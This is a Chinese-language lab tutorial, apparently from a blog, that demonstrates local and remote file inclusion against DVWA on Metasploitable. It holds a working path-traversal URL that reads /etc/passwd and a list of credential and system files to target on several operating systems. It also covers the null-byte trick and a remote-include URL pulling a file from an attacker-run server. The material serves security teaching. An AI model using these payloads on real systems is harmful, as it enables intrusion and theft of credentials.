Metasploit 文件包含漏洞

远程文件包含(RFI)和本地文件包含(LFI)是通常在编写不好的Web应用程序中发现的漏洞。当Web应用程序允许用户将输入提交到文件或将文件上载到服务器时,会发生这些漏洞。

 

LFI漏洞允许攻击者读取(有时执行)受害机器上的文件。这可能非常危险,因为如果Web服务器配置错误并以高权限运行,攻击者可能会访问敏感信息。如果攻击者能够通过其他方式在Web服务器上放置代码,那么他们可能能够执行任意命令。

 

RFI漏洞更容易被利用,但不太常见。攻击者无法访问本地机器上的文件,而是能够执行自己机器上托管的代码。

 

为了演示这些技术,我们将在metasploitable中使用Damn Vulnerable Web Application(DVWA)。从您的浏览器连接到metasploitable,然后单击DVWA链接。

 

登录到DVWA的凭证是:admin / password

 

一旦我们通过身份验证,请单击左侧面板上的“DVWA Security”选项卡。将安全级别设置为“low(  低)”,然后单击“Submit”,然后选择“File Inclusion(文件包含)”选项卡。DVWA Security

 

在文件包含页面上,单击右下角的查看源按钮。如果您的安全设置成功设置为低,您应该看到以下源代码:

$file = $_GET['page']; //The page we wish to display

这段代码本身并不脆弱,因此漏洞在哪里?对于尚未拥有root权限的普通攻击者来说,这可能是他们调查结束的地方。$ _GET变量很有趣,他们将开始测试或扫描文件包含。由于我们已经拥有对计算机的root访问权限,因此我们可以加倍努力,看看我们是否可以找出漏洞来自哪里。

 

使用以下凭据SSH进行metasploitable2:msfadmin / msfadmin。

 

我们可以使用cat来查看/ var / www / dvwa / vulnerability / fi /目录下的index.php。

msfadmin:cat -n /var/www/dvwa/vulnerabilities/fi/index.php

 

查看输出,我们可以看到第15行有一个switch语句,它将安全设置作为输入,并根据应用的设置而中断。由于我们选择了“低”,代码继续调用/source/low.php。如果我们在index.php中向下看,我们可以看到第35行说:

include($file);

 

我们终于得到它了!我们找到了该漏洞的位置。此代码易受攻击,因为没有对用户提供的输入进行清理。具体来说,$ file变量在被include()函数调用之前未被清理。

 

如果Web服务器可以访问请求的文件,那么包含在里面的任何PHP代码都会被执行。文件中的任何非PHP代码都将显示在用户的浏览器中。

 

现在我们已经了解了文件包含漏洞可能发生的情况,我们将利用include.php页面上的漏洞。

 

本地文件包含(LFI)

在浏览器地址栏中输入以下内容:

http://192.168.80.134/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd

上例中使用的“../”字符表示目录遍历。“../”序列的数量取决于受害机器上目标Web服务器的配置和位置。可能需要一些实验。

 

我们可以看到/ etc / passwd的内容显示在屏幕上。通过这种方式可以获得许多有关主机的有用信息。一些有趣的文件包括但不限于:

 

Linux文件位置:

– /etc/issue

– /proc/version

– /etc/profile

– /etc/passwd

– /etc/passwd

– /etc/shadow

– /root/.bash_history

– /var/log/dmessage

– /var/mail/root

– /var/spool/cron/crontabs/root

 

Windows文件位置:

– %SYSTEMROOT%\repair\system

– %SYSTEMROOT%\repair\SAM

– %SYSTEMROOT%\repair\SAM

– %WINDIR%\win.ini

– %SYSTEMDRIVE%\boot.ini

– %WINDIR%\Panther\sysprep.inf

– %WINDIR%\system32\config\AppEvent.Evt

 

OS X / macOS文件位置:

– /etc/fstab

– /etc/master.passwd

– /etc/resolv.conf

– /etc/sudoers

– /etc/sysctl.conf

本地文件包含(LFI)

 

有时在本地文件包含期间,Web服务器将“.php”附加到包含的文件中。例如,包含“/ etc / passwd”被渲染为“/etc/passwd.php”。当include函数使用类似“?page”的参数并将.php扩展名连接到文件时,会发生这种情况。在5.3以下版本的PHP中,使用空字节(%00)结束URL会导致解释器停止读取,这将允许攻击者包含其预期页面。

 

远程文件包含(RFI)

演示的这部分需要一些初始设置。我们将以此为契机开发一些Linux命令行和PHP技能。

 

为了使RFI成功,需要设置PHP配置文件中的两个函数。“allow_url_fopen”和“allow_url_include”都需要“On”。从PHP文档中,我们可以看到这些配置的功能。

 

allow_url_fopen - “这个选项启用URL感知的fopen包装器,以启用访问URL对象的文件。为使用ftp或http协议访问远程文件提供了默认的包装器,一些扩展如zlib可能会注册其他包装器。“

 

allow_url_include - “这个选项允许使用具有以下功能的URL-aware fopen包装:include,include_once,require,require_once”

 

要查找DVWA的配置文件,请单击左侧面板上的“PHP info”选项卡。这个屏幕给我们提供了大量有用的信息,包括PHP版本,受害者的操作系统,当然还有配置文件。我们可以看到加载的文件是“/etc/php5/cgi/php.ini”。php.ini

 

在metasploitable2中,我们可以使用nano打开php.ini文件:

msfadmin: sudo nano /etc/php5/cgi/php.ini
sudo password: msfadmin

 

在nano中,输入“ctrl-w”查找一个字符串。输入“allow_url”并回车。我们现在应该在php.ini文件的第573行(输入“ctrl-c”来查找nano中的当前行)。确保“allow_url_fopen”和“allow_url_include”都设置为“On”。用“ctrl-o”保存文件,然后用“ctrl-x”退出。现在,重新启动metasploitable的web服务器:

msfadmin: sudo /etc/init.d/apache2 restart

 

在kali,我们需要建立自己的网络服务器进行测试。首先,创建一个名为“rfi-test.php”的测试文件,然后启动apache。

root@kali:~# echo "Success." > /var/www/html/rfi-test.php
root@kali:~# systemctl start apache2

 

现在我们可以测试我们的RFI。在“File Inclusion”页面上,输入以下URL:

http://192.168.80.134/dvwa/vulnerabilities/fi/?page=http://192.168.80.128/rfi-test.php

远程文件包含(RFI)

从浏览器顶部显示的输出中,我们可以看到该页面确实容易受到RFI的影响。

 

要完成此RFI,我们将查看PHP Meterpreter页面上的php_include功能。

    A+
发布日期:2018年06月09日 23:05:23  所属分类:Metasploit
最后更新时间:2018-06-09 23:05:23
付杰
  • ¥ 99.0元
  • 市场价:99.0元
  • ¥ 298.0元
  • 市场价:498.0元
  • ¥ 15.0元
  • 市场价:15.0元
  • ¥ 39.0元
  • 市场价:39.0元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: